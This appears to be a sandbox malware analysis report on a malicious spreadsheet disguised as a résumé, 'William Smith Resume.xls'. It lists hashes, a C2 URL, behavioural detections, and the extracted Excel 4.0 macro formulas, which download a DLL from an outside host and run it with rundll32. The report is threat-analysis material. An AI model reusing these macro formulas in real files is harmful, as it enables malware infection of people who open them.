Static

static

10

William Sm...me.xls

windows7_x64

6

William Sm...me.xls

windows10_x64

10

Resubmissions

10/04/2022, 07:53

220410-jq25nsgaen10

10/04/2020, 08:18

200410-tmzpvazbjn10

Sharing

Copy URL Twitter E-mail

General

  • Target
    William Smith Resume.xls
  • Size 163KB
  • Sample200410-tmzpvazbjn
  • SHA256 0fba1f02cd2872efc4cdc6806bc49d786005f590971ee31f97ce71c1ccf87fe2
  • MD5 SHA1 SHA512
Score
10/10
xlm

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

  • http://march262020.com/files/april8.dll

Attributes
  • formulas

    =CALL("URLMON","URLDownloadToFileA","JJCCJJ",0,"http://march262020.com/files/april8.dll","C:\ProgramData\ieTneVi.dll",0,0) =CALL("Shell32","ShellExecuteA",AE1177,0,"Open","rundll32.exe","C:\ProgramData\ieTneVi.dll,DllRegisterServer",0,0) =HALT()

Targets

    • Target
      William Smith Resume.xls
    • Size 163KB
    • SHA256 0fba1f02cd2872efc4cdc6806bc49d786005f590971ee31f97ce71c1ccf87fe2
    • MD5 SHA1 SHA512
    Score
    10/10

    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

    • Process spawned suspicious child process

      This child process is typically not spawned unless (for example) the parent process crashes. This typically indicates the parent process was unsuccessfully compromised.

    behavioral1behavioral2

MITRE ATT&CK Enterprise v6

Tasks